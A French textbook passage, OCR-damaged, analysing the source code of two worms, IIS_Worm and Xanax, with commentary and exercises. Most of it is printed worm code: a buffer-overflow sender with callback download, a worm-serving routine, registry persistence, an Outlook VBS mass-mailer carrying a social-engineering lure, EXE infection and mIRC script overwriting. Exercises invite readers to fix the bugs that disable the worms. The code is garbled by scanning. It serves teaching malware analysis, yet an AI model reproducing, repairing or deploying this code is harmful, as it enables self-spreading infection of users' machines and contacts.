Cette procedure a pour fonction de recuperer le nom de I'hote local (celui d'ou part l'attaque en cours) et d'actualiser le code contenu dans le tableau, declare en variable globale, sploit. En effet, une fois le code de l'exploit execute sur la machine distante, le but est que cette derniere se connecte en retour sur la machine d'ou est issue l'attaque et telecharge le code viral proprement dit (commande !GET liisworm.exe). Pour cela, il est necessaire de recuperer le nom de la machine locale, origine de l'infection. A noter, que le code de la fonction setuphostname () contient ici une erreur qui rend le ver inoperant. Le lecteur l'identifiera precisement et expliauera ou et comment il faudrait la corriaer (rannel : le but est d'actualiser le
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tableau sploit). Le lecteur trouvera dans [191] les specifications du protocole HTTP/1. 0. Le code de l'exploit est partiellement ecrase, ce qui le rend inoperant. Le lecteur retiendra toutefois le principe recherche par le programmeur de ce virus.



void setuphostname() {



1* Variables locales *1 char s[1024J; struct hostent int i;



*



he;



1* Recuperation du nom standard de l'hate (local) *1 gethostname(s,1024); 1* Recuperation des donnees de cet hate (local) *1 he = gethostbyname(s); 1* Creation de la commande de recuperation du code viral *1 strcpy(s,he->h_name); strcat(s,"!GET liisworm.exe"); for (i=O; ih_name, strlen(he->h_name)); }



A noter que toutes les copies du ver portent le memc nom, ce qui est une faiblesse, facilement exploitable par les antivirus (voir exercices).



Procedure hunt L'attaque du ver debute avec cette procedure. Elle est actives par l'utilisation de la fonction systeme CreateThread 17, creant un processus fils cxecutant le code parent a partir d'une certaine adresse, indiquee par le troisiemc argument. La commande est lancee comme suit:



CreateThread(O,O,hunt,∈,O,&threadid); Les principaux arguments indiquent (voir [227] pour plus de details) que le processus fils est execute - sans heriter des caracteristiques des autres processus (premier argument nul), 17



Cette fonction est eonivalente



a la



fonction f o rk O d'Unix.
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- avec la meme taille de pile que celIe du processus parent (second argument nul), - et directement a partir de la procedure hunt du code viral. Le processus fils debute avec I'cxecution de la procedure hunt dont voici le code: unsigned long stdcall hunt(void *inr) { search("\wwwroot"); search("\www root"); search("\inetpub\wwwroot ") ; search("\inetpub\www root"); search("\webshare\wwwroot ") ; return 0; }



Cette procedure se contente d'appeler une autre procedure, de recherche sur plusieurs repertoires susceptibles de contenir des fichiers html : \ wwwroot, \www root, \inetpub\wwwroot, \inetpub\www root et \webshare\wwwroot. II s'agit la des repertoires qui usuellement contiennent une grande quantite de fichiers html ou htm, utiles au ver pour propager son attaque.



Procedure search La procedure search recoit en argument un chemin de repertoire. Aprcs s'y etre deplaccc, elle recherche tous les fichiers de type page web (*. html et *. htm) et cherche dans chacun d'eux, une adresse a attaquer (chaine de caracteres comprise entre http://et/***(lescaracteres*** designent une chaine quelconque de caracteres situee aprcs le caractere I). Une fois trouvec, l'attaque est lancee (procedure attack). void search(char *path) { WIN32_FIND_DATA wfd; HANDLE h,hf; int s; unsigned long bytesread; char *b,*v,*m;



1* 1*



Le processus se place dans Ie *1 repertoire fourni en argument *1 if(!SetCurrentDirectorv(oath)) return:
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/* Recherche d'un premier fichier */ /* de type html ou htm */ h = FindFirstFile(I*.htm*",&wfd); /* Si Ie fichier peut etre ouvert */ if (h!=INVALID_HANDLE_VALUE) do { /* Ouverture de ce fichier */ hf = CreateFile(wfd.cFileName,GENERIC_READ, FILE_SHARE_READ,O, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,O); /* Recuperation de sa taille */ s = GetFileSize(hf,NULL); /* Allocation de deux tableaux m et b */ /* leur taille est celIe du fichier */ m = b = (char *)malloc(s+1); /* Copie du fichier dans Ie tableau alloue */ ReadFile(hf,b,s,&bytesread,O); /* Fermeture du fichier */ CloseHandle(hf); b [s] =0;



/* recherche d'une adresse IP et attaque */ /* de la machine ayant cette adresse */ while (*b) { v=strstr(b,lhttp://")+7; if ((int)v==7) break; b=strchr(v,'/'); if (Tb) break; *(b++)=O; attack(v); }



free(m); } while (FindNextFile(h,&wfd)); /* tant qu'il existe des fichiers html */ /* repeter */ }



Cette procedure souffre en fait d'un defaut, limitant la propagation du ver. En effet, alors que bien souvent une page peut contenir plusieurs adresses IP, qui chacune constitue une cible potentielle, le ver, a travers la procedure search. se limite a la nrerniere adresse trouvee dans le fichier. De nlus.
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quelques autres erreurs existent dans ce code, notamment dans l'extraction de l'adresse de la cible (leur detection et leur correction sont proposecs au lecteur a titre d'exercice).



Procedure attack La procedure attack va provoquer I'execution proprement dite de l'infection dans I'hote distant, fourni en argument. Pour cela, les etapes principales sont les suivantes : 1. Creation d'un point de communication (socket) entre la machine locale et I'hote distant. 2. Definition des parametres de la connexion, et connexion



a I'hote distant.



3. Envoi du code malveillant proprement dit. A reception dans la machine visee, ce code 18 par debordement de tampon provoquera en retour le telechargement et I'cxecution, par I'hote infecte, du binaire du ver (fichier iisworm. exe), sur la machine locale a l'origine de l'infection. L'infection est alors realisee et peut se propager a partir de cette nouvelle victime.



/* Procedure d'infection proprement dite */ /* de l'h6te donne en argument */ void attack(char *host) { SOCKET s; struct hostent *he; SOCKADDR_IN sout; int i; /* Ouverture d'un point de communication (socket) */ s = socket(AF_INET,SOCK_STREAM,O); /* Recuperation des donnees de cet h6te */ he = gethostbyname(host); /* Si echec fin de la procedure d'attaque */ if (Lhe ) return; /* Determination des parametres de connexion sout.sin_family = AF_INET; sout.sin_addr.s addr = 18



*/



En utilisant la faille du serveur, si ce dernier est present et que la faille existe. Sinon rien ne se passe, mais des messages d'erreur trahiront une tentative d'infection dans des fichiers de lOQ".
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*((unsigned long *)he->h_addr_Iist[O]); sout.sin_port = htons(80); /* Connexion a l'adresse client i = connect(s,(LPSOCKADDR)&sout,sizeof(sout));



*/



/* En cas d'echec de connexion arret if (i!=O) return;



*/



/* Envoi du code contenu dans sploit pour execu/* tion du code malicieux send(s,sploit,sizeof(sploit) ,0);



*/ */



/* Fermeture du point de communication closesocket(s);



*/



}



Une fois l'attaque realisee pour toutes les adresses trouvees dans la machine locale, le code retourne dans la procedure principale main () .



Procedure doweb Cette procedure a pour but de permettre le telechargement du code executable du ver par les cibles infectees par le processus fils (voir programme principal). Les commentaires du code qui suit sont suffisamment explicites pour permettre au lecteur de comprendre l'action de cette procedure.



unsigned long __stdcall doweb(void *inr) { char buf[1024]; SOCKET in = *((SOCKET *)inr); /* Reception des donnees de la requete entrante /* donnee en argument recv(in, buf, 1024, 0);



*/ */



/* Envoi du code du ver contenu dans Ie tableau /* mybytes send(in, mybytes, sizemybytes, 0);



*/ */



/* Fermeture du socket closesocket(in):



*/
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return 0; }



10.3.4 Conclusion Bien que le ver lIS_Worm presente de nombreux defauts, dont certains limitent fortement son action, il illustre parfaitement le fonctionnement et le mode d'action des vers dits simples. A travers son etude, le lecteur a pu constater qu'il n'existe pas de difference fondamentale avec un virus. Le diagramme fonctionnel est le meme : les fonctions de recherche et de copie sont bien realisees. Seul differe, au niveau de la procedure d'infection, l'usage de fonctionnalites specifiquement reseau. Ces dernieres doivent de nos jours etre considerees comme faisant partie integrantc de l'environnement de base de tout ordinateur. Cela rend encore moins pertinente la discrimination des vers vis-a-vis des virus.



10.4 Analyse du code du ver Xanax Ce ver appartient a la classe des vers d'emails et a ete detecte au premier trimestre 2001. Mais son mode d'action ne se limite pas a la messagerie electronique : le ver exploite egalement le canal de type IRC et l'infection plus classique des fichiers EXE dans le repertoire Windows. Malgr« de nombreux bugs et autres erreurs qui limitent son action et son efficacite, ainsi qu'un tres net manque d'optimisation, nous avons choisi ce ver car il est particulierement representatif de sa categoric. Par la suite, il a inspire plusieurs programmeurs de vers qui ont adopte la memc philosophie, avec plus ou moins de reussite. Le ver Xanax 19 est un fichier executable de type Win32 (fichier PE), ecrit en Visual C++. D'une taille respectable de 60 kilo-octets, le ver a ete, en fait, detecte sous une forme comprcsscc, grace a l'utilitaire ASPac!?O, reduisant la taille du ver a 33 792 octets. Chaque copie du ver existe en deux exemplaires denommes xanax. exe et xanstart. exe. Nous allons etudier le code du ver, sous sa forme originale, tel que son auteur l'a publiee, Nous avons ajoute des commentaires afin d'aider la comprehension du lecteur (Ie code en est depourvu). Enfin, le code du ver melant 19



20



L'auteur de ce ver est connu, ce dernier ayant revendique sa creation. II s'agit de Gigabyte http://coderz . net/gigabyte. Cet utilitaire permet de reduire la taille d'un code binaire, par compression, tout en conservant son caractere executable : voir www.asoack.com.
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ala fois du langage C et du langage VBS, nous avons reorganise le code source qui suit afin le rendre plus clair. Le code est donne en totalite sur le CDROM. Ce code contient plusieurs defauts et bugs, que nous n'avons pas corriges 21 . Nous nous sommes contentes de les signaler. Nous proposons au lecteur de les corriger a titre d'exercice. Ils illustrent, encore une fois, le fait que les auteurs de virus ne programment pas leur creation avec rigueur. Cela se traduit le plus souvent par une detection prcmaturec du ver ou du virus. Le code n'est pas non plus optimise ce qui nuit a sa taille finale. Le lecteur pourra rcecrire le ver afin de diminuer sa taille.



10.4.1 Action principale : infection des emails Nous allons considerer le cas OU le ver vient d'infecter une machine. Le processus viral est alors actif et va proceder a son installation et a l'infection proprement dite. Le programme principal debute par les traditionnelles inclusions de librairies et les declarations de variables globales.



#include #include #include char hostfile[MAX_PATH] , CopyHost[MAX_PATH] , Virus [MAX_PATH] , Buffer [MAX_PATH] , checksum [2] , Xanax[MAX_PATH] , XanStart[MAX_PATH]; char mark [2] , CopyName[10] , FuIIPath[MAX_PATH] , VersionBat[15] ,vnumber[11] , WinScript[MAX_PATH] , DirToInfect[MAX_PATH] , RepairHost[MAX_PATH]; FILE *vfile; void main(int argc, char **argv) {



/* Recuperation du nom du code viral (argv[O]) dans Ie tableau Virus */ strcpy(Virus, argv[O]); /* Recuperation du repertoire ou est installe Windows GetWindowsDirectory(Buffer,MAX_PATH); /* Initialisation de la clef de registre 21



*/



*/



Le lecteur consultera les chapitres 8 et 9, dans lesquels les principaux ressorts algorithmiaues ont ete detailles.
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*



regkey = "Software\\Microsoft\\Windows\\ CurrentVersion\\Run" + NULL; /* Construction des chemins des copies du ver */ strcpy(Xanax,Buffer); strcat(Xanax,I\\system\\xanax.exe"); strcpy(XanStart,Buffer); strcat(XanStart,I\\system\\xanstart.exe"); char * regdata = strcpy(CopyName, strcpy(FullPath, strcat(FullPath, strcat(FullPath,



XanStart + NULL; "xanax.exe"); Buffer); "\\system\\"); CopyName);



A ce stade, les operations suivantes ont ete effectuees : 1. Determination du nom du code viral en cours d'execution (en effet, le ver existe sous deux appellations differentes}, 2. Determination de l'environnement Windows sur la machine OU le ver est en cours d'action. Cette etape est essentielle, car si, dans la plupart des cas, le repertoire d'installation de Windows est C: \Windows, un utilisateur, pour diverses raisons, notamment de securite, peut choisir un autre nom ou une autre localisation pour ce repertoire. Le ver, pour agir, doit effectuer ce reperage, s'il veut s'adapter a toutes les configurations. Le ver presente ici un defaut : le resultat (succes ou echec) de cette operation n'est pas vcrifie. En cas de probleme, le ver continue cependant.



3. Une clef de registre est alors definie afin de permettre ulterieurement l'installation en mode resident et persistant du ver. Cette clef est la suivante:



HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run Default=\xanstart.exe La chaine de caracteres designe le nom du repertoire systeme Windows (par defaut, il s'agit de C: \windows\system\). 4. Creation, a l'aide de tableaux, des chemins des copies executables de travail, du ver. Ce sont les chemins suivants :



C:\windows\system\xanax.exe C:\windows\system\xanstart.exe Le nroeramme nrincinal se noursuit ainsi :
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/* Ecriture du virus dans Ie repertoire systeme */ /* de Windows (fichier xanaxoexe) */ Wr i t eVi r us (Vi r us , FullPath);



int x = lstrlen(Virus) - 6; / * Si Ie premier des 6 derniers caracteres n 'est ni r ni R */ i f (Virus [x] != "r ") { /* Duplication du code executable vi r al */ if (Virus [x] != 'R') CopyFile(Xanax,XanStart,FALSE); else /* Sinon affichage d'une fenetre me ssage */ Mes s ageBox (NULL,"8- Chl or o- l -met hyl - 6- phenyl-4H- s - t riaz010 (4,3 -alpha)(1,4) benzodiazepine l , l X a n a x " , MB_OK) ; }



else Mes s ageBox (NULL, "8- Chl or o- l - met hyl - 6- phenyl-4H- s - t r i az010 (4,3 -alpha)(1,4) benzodiazepine l , l X a n a x " , MB_OK) ; Le ver inst alle une copie du ver , denommee xanax exe , dans le rep ertoire C: \windows\system via la pro cedure WriteVirus . A noter qu' aucun controle n 'est effect ue par le ver pour s'assurer que I'op eration a eu lieu sans erreur. Ensuite, le ver teste la valeur du premier des six derniers cara cteres du code executab le viral : si ce caractere est different de la lettre R, la duplication du fichier xanax exe sous le nom xanstart exe est effect uee (cela signifie, en effet , que le programme viral en cours cl'exe cution est un fichier nomrne xanax. exe et non xanstart . exe ) Dans le cas contraire, la fenet re suivante (figure 10.4) est affichee. 0



0



0



0



Dne1:'M-4H-s-t iaz 10 ( ,3. I h 1.4)



S·C oro·' -



FIG . 10.4. Charge finale du ver Xanax



Comme le programme xanst ar t . exe est lance a chaque demarrage, grace rezistre assurant son execu tion aut omatia ue. cette fe-



a la clef de la base de
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netre 22 est systcmatiquemcnt affichee (puisque le nom de I'executable comporte la lettre R en position n - 6 si nest la taille de la chaine de caracteres contenant ce nom). L'affichage de cette fenetre n'intervient donc que lorsque la machine est deja infectee (presence du fichier xanstart . exe et de la clef dans la base de registre correspondante). II s'agit la d'une sorte de charge finale. La seule solution pour supprimer cette fenetre est de cliquer sur le bouton OK. Une charge finale plus virulente pourrait alors etre lancee a l'issue d'un test de la valeur de retour de la fonction MessageBox (valeur IDOK). De nombreuses autres solutions existent. Cela illustre le caractere particulierement dangereux de tels vers, pour lesquels la phase d'infection est separee de la phase d'attaque. Ce n'est pas le cas du ver Xanax, dont la charge finale est limitee a l'affichage d'une simple fenetre. Le programme principal se poursuit avec la creation d'un script ecrit en Visual Basic Script (VBS). Le code consiste en une succession d'appel a la fonction fprintf dont les arguments sont les instructions de ce script.



/* Creation du chemin de wscript.exe */ strcpy(WinScript, Buffer); strcat(WinScript, "\\wscript.exe"); /* Si l'application wscript.exe existe */ if (FileExists(WinScript)) {



/* Si Ie fichier xanax.sys est absent */ if(FileExists(lxanax.sys") == false) {



/* Ouverture en ecriture du fichier xanax.vbs */ vfile = fopen("c:\\xanax.vbs","wt"); /* En cas de succes, ecriture du script */ if(vfile) { fprintf(vfile,"O n Error Resume Next\n"); fprintf(vfile,"Dim xanax, Mail, Counter, A, B, C, D, E, F\n"); 22



La 8-Chloro-l-methyl-6-phenyl-4H-s-triazolo (4,3-a)(1,4) benzodiazepine est l'autre nom d'une drogue psychotrope, appclec alprozolam. La molecule generique de benzodiazepine appartient au groupe des psychotropes a action hypnotique et sedative. Elle est utilisee essentiellement comme sedatif et pour lutter contre I'anxietc. Cependant, ses effets secondaires sont importants : problemes psychomoteurs, amnesic, euphorie, denendance....
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fclose(vfile); }



/* Execution du script pour infection des emails */ ShellExecute(NULL, "open", "xanax.vbs", NULL, NULL, SW_SHOWNORMAL); } }



Apres avoir cree la chaine de caractere C: \windows\wscript. exe, designant l'application Windows chargee de I'execution des scripts en langage (VBS), le Windows Scripting Host (WSH), le ver effectue un test d'infection prealable (materialisee par la presence d'un fichier xanax. sys; voir plus loin). Si ce test est negatif, le processus continue par la creation du script VBS destine a propager l'infection par la messagerie electronique, Le script VBS proprement dit (extrait ici du programme du ver) est le suivant :



On Error Resume Next Dim xanax, Mail, Counter, A, B, C, D, E, F , Association a l'application Outlook Set xanax = CreateObject(loutlook.application") , Selection de l'application de messagerie (MAPI) Set Mail = xanax.GetNameSpace(IMAPI") , Pour toutes les listes d'adresses For A = 1 To Mail.AddressLists.Count , Selectionner cette adresse Set B = Mail.AddressLists(A) , Initialisation d'un compteur Counter = 1 , Creation d'un mail Set C = xanax.CreateItem(O) , Pour toutes les adresses de la liste courante B For D = 1 To B.AddressEntries.Count
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, Selectionner l'adresse a la position designee , par la valeur du compteur E = B.AddressEntries(Counter) , Ajouter cette adresse a la liste des destinataires , du mail en cours de redaction C.Recipients.Add E 'Incrementer Ie compteur Counter = Counter + 1 , Si Ie compteur depasse 1000 aller a la position , designee par Ie label next If Counter> 1000 Then Exit For Next , Ecriture du sujet du mail en cours de redaction C.Subject = "Stressed? Try Xanax!" , Ecriture du texte (corps) du mail C.Body = "Hi there! Are you so stressed that it makes you ill? You're not alone! Many people suffer from stress, these days. Maybe you find Prozac too strong? Then you NEED to try Xanax, it's milder. Still not convinced? Check out the medical details in the attached file. Xanax might change your life!" , Inclusion en attachement du fichier xanax.exe C. Attachments. Add IIC: \windows\system\xanax. exe II , Effa~age du mail apres envoi C.DeleteAfterSubmit = True , Envoi du mail C.Send E =



1111



Next Set F = CreateObject(IScripting.FileSystemObject") F.DeleteFile Wscriot.ScriotFullName
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Ce script va proceder a l'infection proprement dite des messages electroniques ( emails). C' est la raison pour laquelle ce ver est classe dans la categorie des vers d'emails. L'usage de I'ingenierie sociale est, encore une fois, la clef de l'infection : l'utilisateur recoit le message suivant (traduit) :



« Salut! Souffrez-vous d 'um syndrome aggrave de stress? Vous n'etes pas le seul! Beaucoup de gens souffrent de la sorte, de nos jours. Peutetre trouvez-vous le Prozac trop fort? Alors, vous DEVEZ utiliser le Xanax, il est plus leqer. Toujours pas convaincu ? Lisez les donnees medicales dans le fichier en attachement. Le Xanax peut changer votre vie! » Les personnes concernees par ce genre d'affection 23 seront tentees d'activer la piece jointe (une copie executable du ver en realite). Le ver sera ainsi lance. Le lecteur notera, dans ce message, tous les ressorts de I'ingenierie sociale utilises pour inciter chacun de ses destinaires a activer la piece jointe. Le script adressera un tel mail infecte a tous les contacts presents (dans une limite des 1000 premiers destinataires) dans toutes les listes d'adresses de l'utilisateur infecte.



10.4.2 Infection des fichiers executables Le second mode d'action du virus, pour se propager, est l'infection des fichiers executables de type EXE. L'infection se fait par ajout ou recouvrement de code, en position initiale. Le programme principal se poursuit donc ainsi :



/* Deplacement dans Ie repertoire Windows */ _chdir(Buffer); /* Si Ie fichier Expostrt.exe est absent */ if(FileExists(IExpostrt.exe") == false) {



WIN32_FIND_DATA FindData; HANDLE FoundFile; /* Creation de la chaine de caracteres /* designant les cibles a infecter strcat(DirTolnfect, Buffer); strcat(DirTolnfect, "\\*.exe"); 23



*/ */



De nos jours, qui ne l'est pas; la prise de Prozac a pris, selon les medecins, des proportions inquietantes surtout aux Etats-Unis, OU il est donne tres frequemment aux enfants. Dour les rendre moins turbulents.
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/* Recherche d'une premiere cible */ FoundFile = FindFirstFile(DirTolnfect, &FindData); if(FoundFile != INVALID_HANDLE_VALUE) { /* Repeter ce qui suit tant qu'il existe */ /* des cibles a infecter */ do { /* Ne pas traiter les repertoires */ if(FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { } else { /* Recuperation du repertoire d'installation de Windows */ GetWindowsDirectory(Buffer,MAX_PATH); /* Deplacement dans Ie repertoire systeme de Windows */ _chdir(Buffer); _chdir("system");



/* Creation du chemin strcpy(hostfile, strcat(hostfile, strcat(hostfile,



absolu du fichier cible en cours Buffer); "\\"); FindData.cFileName);



/* Recuperation des octets 19 et 20 de la cible VirCheck(hostfile); /* Le tableau mark est initialise avec « ny » strcpy(mark,"ny");



*/



*/



(signature) */



/* Verification du nom de la cible, pas d'infection si /* la quatrieme lettre est un D if(FindData.cFileName[3] != 'D' ) { /* La premiere lettre est P, R, E, T, W, w, S, s ou si /* la sixieme lettre est un R if(FindData.cFileName[O] != 'P' ) { if(FindData.cFileName[O] != 'R' ) { if(FindData.cFileName[O] != 'E' ) { if(FindData.cFileName[O] != 'T' ) { if(FindData.cFileName[O] != 'w') { ifCFindData.cFileNamerOl != 'w' ) {



*/ */ */ */
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if(FindData.cFileName[5] != 'R') { if(FindData.cFileName[O] != 'S') { if(FindData.cFileName[O] != 's') { Si Ie fichier n'est pas deja infecte if (checksum[1] != mark[1]) {



1*



1* Duplication de la cible en un fichier temporaire 1* denomme host.tmp strcpy(CopyHost, "host.tmp"); CopyFile(hostfile, CopyHost, FALSE);



1* Remplacement de la cible par une copie du ver strcpy(Virus, argv[O]); CopyFile(FuIIPath, hostfile, FALSE);



1* Ajout du code de la cible au code du ver AddOrig(CopyHost, hostfile); Suppression du fichier temporaire host.tmp _unlink("host.tmp"); }}}}}}}}}}}



1*



} }



while (FindNextFile(FoundFile, &FindData)); FindClose(FoundFile); }



La presence du fichier executable C: \windows\expostrt. exe est d'abord testee et l'infection n'est realisee qu'en cas d'absence de ce fichier. La raison d'un tel test n'est pas claire. II s'agit probablement de s'assurer, dans un but de compatibilite, que l'environnement est au minimum Windows 98. En effet, seul Windows 95 utilise ce fichier (present dans le fichier temporaire d'installation Win95_28 . cab). Le ver infecte ensuite tous les fichiers executables du repertoire C: \windows. Cependant, les programmes dont le nom commence par l'une des lettres suivantes : P, R, E, T, W, w, S, s sont epargncs, de memc que ceux dont la quatrieme lettre (respectivement la sixieme) est « D » (respectivement « R »). Le but est d'une part, de ne pas infecter certains programmes critiques ou essentiels pour Windows et ainsi limiter les risques de compromission et deradication du ver. et d'autre Dart. de limiter son nouvoir infectieux.
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Dans le meme d'ordre d'idee, le ver va lutter contre la surinfection des cibles potentielles par la recherche d'une signature caracteristique. Le code compile du ver, dans sa version initiale (c'est-a-dire pour la primo-infection), contient la signature « ny », localisee au niveau des 19 et 20eme octets, comme indique dans les deux lignes suivantes produites a partir d'un editeur hexadecimal :



0000000000



4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ



0000000010



.



B8 00 6E 79 00 00 00 00 40 00 00 00 00 00 00 00 .. ny .... (Q •••••••



L'infection ne survient donc que si cette signature est absente dans chaque cible. Le ver procede a l'infection par ajout de code. Chaque executable infecte est alors constitue du code viral proprement dit, en tete de fichier, suivi du code de la cible.



10.4.3 Infection via les canaux IRe Apres avoir procede a l'infection des fichiers executables du repertoire Windows, Ie ver Xanax va utiliser les connexions, via les canaux IRC (Internet Relay Chat), d'autres machines, pour les contaminer. C'est le troisiemc moyen utilise par le ver pour se disseminer. Les etapes principales sont les suivantes : 1. Le ver vcrifie en premier lieu si un client IRC de Microsoft est installe sur la machine infectee, Cette verification consiste a tenter d'ouvrir le fichier executable attache a l'application (fichier c: \mirc \mirc32 . exe). 2. Si ce client est present, le ver se deplacc dans le repertoire c: \mirc\ download\ et y infecte tous les executables presents, selon le mode precedent. 3. Enfin, le ver recherche le fichier de configuration script. ini, du client IRC, sur les unites de disque dur C :, D :, E : et F : et dans les repertoires \mirc et \Program Files\mirc. Une fois localise, ce fichier est ecras« par un fichier de commande (via la procedure ScriptFile, voir la section 10.4.5) qui enverra une copie du ver a toute personne connectee a la machine en cours, via un canal IRC.



/* Si Ie client IRC Microsoft est installe */ if(FileExists(l c:\\mirc\\mirc32.exe")) {
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/* Le processus d'infection des executables */ /* du repertoire c:\mirc\download intervient */ /* selon Ie mode precedent */ FoundFile = FindFirstFile(lc:\\mirc\\download\\*.exe", &FindData); if(FoundFile != INVALID_HANDLE_VALUE) { do { if(FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { } else { _chdir(Buffer); _chdir("system"); strcpy(hostfile, "c:\\mirc\\download\\"); strcat(hostfile, FindData.cFileName ); VirCheck(hostfile); strcpy(mark,"ny"); if (checksum[1] != mark[1]) { strcpy(CopyHost, "host.tmp"); CopyFile(hostfile, CopyHost, FALSE); WriteVirus(Virus, hostfile); AddOrig(CopyHost, hostfile); _unlink("host.tmp"); } }



} while (FindNextFile(FoundFile, &FindData)); FindClose(FoundFile); } }



/* Fin d'infection des executables du repertoire */ /* c:\mirc\download */ /* Preparation de l'infection par les canaux IRC */ /* Modification des fichiers script.ini dans les */ /* reoertoires \mirc et \Pro~ram Files du disaue */
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/* dur C: /* Ouverture du fichier */ vfile = fopen("c:\\mirc\\script.ini","wt"); if(vfile) { /* Ecrasement du fichier par la procedure ScriptFile */ ScriptFile(); fclose(vfile); }



/* Operation identique sur Ie meme fichier du */ /* repertoire C:\Program Files */ vfile = fopen(l c:\\PROGRA-1\\mirc\\script.ini l,l wt"); if(vfile) { ScriptFile(); fclose(vfile); }



/* Les memes operations sont repetees sur Ie /* disque dur D: vfile = fopen("d:\\mirc\\script.ini","wt"); if(vfile) { ScriptFile(); fclose(vfile);



*/ */



}



vfile = fopen(ld:\\PROGRA-1\\mirc\\script.ini l,l wt"); if(vfile) { ScriptFile(); fclose(vfile); }



/* Les memes operations sont repetees sur Ie /* disque dur E: vfile = fopen("e:\\mirc\\script.ini","wt"); if(vfile) { ScriptFile(); fclose(vfile);



*/ */



}



vfile = fopen(l e:\\PROGRA-1\\mirc\\script.ini l,l wt"); if(vfile) { ScriptFile(); fcloseevfile):



Les vers



322 }



/* Les memes operations sont repetees sur Ie /* disque dur F: vfile = fopen("f:\\mirc\\script.ini","wt"); if(vfiIe) { ScriptFiIe(); fcIose(vfile);



*/ */



}



vfile = fopen(lf:\\PROGRA-1\\mirc\\script.ini l,l wt"); if(vfiIe) { ScriptFiIe(); fcIose(vfile); }



Cette partie de code peut encore etre largement optimisee,



10.4.4 Action finale du ver Une fois l'infection proprement dite realisee, selon les trois axes qUI viennent d'etre decrits, le ver doit gerer la phase finale de son action, notamment dans le cas ou le ver est execute depuis une machine deja infectee, Deux cas sont possibles et censes etre pris en compte par le ver : - soit le lancement du ver se fait a partir d'un fichier executable infecte, Dans ce cas, le controle est redonne a I'hote (ce dernier est debarrasse du code viral au moyen d'un fichier temporaire hostf ile . exe). - soit le ver est execute via la piece jointe (executable du ver). Le fichier winstart . bat sert a leurrer l'utilisateur en affichant les informations medicales annoncecs dans le corps du mail. Malheureusement, l'instruction de lancement est absente, d'ou une limitation assez genante pour le ver et un risque fort d'etre detecte lors de la consultation de la piece jointe. L'utilisation du fichier winstart. bat pour afficher ce message est le plus souvent inoperante/". Pour resoudre ce probleme, le ver doit etre en mesure de determiner l'origine de son lancement : mail infecte ou executable infecte, Dans le premier cas, un script doit alors afficher le message voulu, une fois la phase d'infection realisee. 24



Le fichier C : \ windows \ winstart . bat est generalement utilise par Windows, lors du demarrage, pour charger en memoire des programmes residents requis par ce systeme d'exploitation, et non utilises par MS-DOS. On ne peut utiliser ce fichier pour afficher le messaae contenu dans le ver. comme l'ont montre differents tests.
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/* Deplacement dans Ie repertoire d'installation */ /* de Windows */ _chdir(Buffer); /* Ouverture du fichier winstart.bat et creation */ /* d'un script d'affichage de message */ vfile = fopen("winstart. bat II ,"wt"); if(vfile) { fprintf(vfile,"@cls\n"); fprintf(vfile,"@echo Do not take \n"); fclose(vfile); }



/* Ouverture du fichier xanax.sys et creation /* d'un fichier contenant la signature du ver vfile = fopen("xanax. sys", "wt"); if(vfile)



*/ */



{



/* La signature et Ie copyright du ver */ fprintf(vfile, "Win32.HLLP.Xanax (c) 2001 Gigabyte\n"); fclose(vfile); }



/* Creation de la clef dans la base de registre */ RegSetValue(HKEY_LOCAL_MACHINE, regkey, REG_SZ, regdata, lstrlen(regdata)); /* Creation du chemin du fichier hostfile.exe */ /* localise dans Ie repertoire d'installation */ /* de Windows. */ strcpy(RepairHost, Buffer); strcat(RepairHost, "\\system\\hostfile.exe"); /* Restauration du code executable sain avant */ /* infection dans Ie cas du lancement du ver a */ /* partir d'un hate infecte */ CopyOrig(Virus, RepairHost); chdir("svstem"):
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1* Passage de controle a l'hote infecte if(FileExists(RepairHost)) WinExec(RepairHost, SW_SHOWNORMAL); 1* Suppression du fichier hostfile.exe _unlink("hostfile. exe ") ; } }



Le message (ici traduit en francais) affiche par le ver est le suivant :



« N 'uiilisez pas ce medicament si vous prenez deja de I'ethanol, du Buspar (buspirone), du TCA, des antidcpresseurs, des narcotiques ou d'autres depresseurs de type CNS. Cette combinaison peut accroiire votre depression. Ne prenez pas d'autres sedaiifs, d'autres composes contenant de la betizodiazepine ou des somnijeres avec ce medicament. Cette association pourrait etre mortelle. Ne fumez pas et ne buvez pas non plus si vous utilisez le Xanax. L 'alcool peut entrainer une baisse de tension arterielle et une baisse du rythme respiratoire, suffisantes pour sombrer dans l'inconscience. Le tabac et l 'utilisation de marijuana peuvent augmenter les effets sedaiij» du Xanax. » Le but de ce message est de leurrer l'utilisateur en lui faisant croire que la piece jointe au mail infecte est reellement un message contenant des donnees medicales complementaires concernant le Xanax. Le processus d'infection n'est donc pas soupconne par le destinataire du mail. Au final, cette derniere phase est entachee de plusieurs erreurs et bugs de programmation qui limitent soit l'action memc du ver, soit son efficacite. Le code ne differencie pas la primo-infection (infection a partir d'une copie originale du ver; dans ce cas la procedure CopyOrig peut poser des problemes) d'une infection a partir d'un fichier deja infecte, De plus, la encore, le code mcrite d'etre optimise.



10.4.5 Procedures diverses Les procedures suivantes sont utilisees par le ver pour effectuer des actions de base. Dans un souci d'exhaustivite et afin de faciliter la comprehension du lecteur, elles sont donnees ici, bien qu'il s'agisse de procedures en langage C tout a fait basiques, correspondant a des actions non moins basiques. Ces procedures sont au nombre de six (donnees ici dans l'ordre OU elles interviennent Dour la nrerniere fois dans le code du vcr ) :
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- procedure WriteVirus. Elle realise l'installation dans le repertoire systcme de Windows de la copie du ver sous le nom xanax. exe ; - procedure FileExists. Elle a pour tache de verifier la presence ou non, d'un fichier dont le nom est donne; - procedure VirCheck. Elle a pour but de recuperer deux octets particuliers dans un fichier executable de type EXE, donne en argument, afin de verifier la presence d'une infection anterieure ; - procedure AddOrig. Elle copie le code d'un fichier a la suite du code d'un autre fichier; - procedure ScriptFile. Elle cree un fichier contenant un code d'infection via les canaux IRe; - procedure CopyOrig. Elle restaure un fichier infecte en eliminant le code viral situe en debut de fichier.



Procedure WriteVirus Dans cette procedure, un defaut relativement important existe : la gestion des erreurs n'est pas prise en charge. En particulier, cette fonction ne renvoie aucune valeur qui pourrait signaler au programme principal, qu'une erreur en ecriturc ou en ouverture est survenue. En consequence, le programme principal poursuit I'cxecution sans tenir compte de ces eventuels problemes. Le ver aura alors une action limitee, dans le meilleur des cas, ou sera detecte prematurcmcnt dans le pire des cas (du point de vue de son auteur).



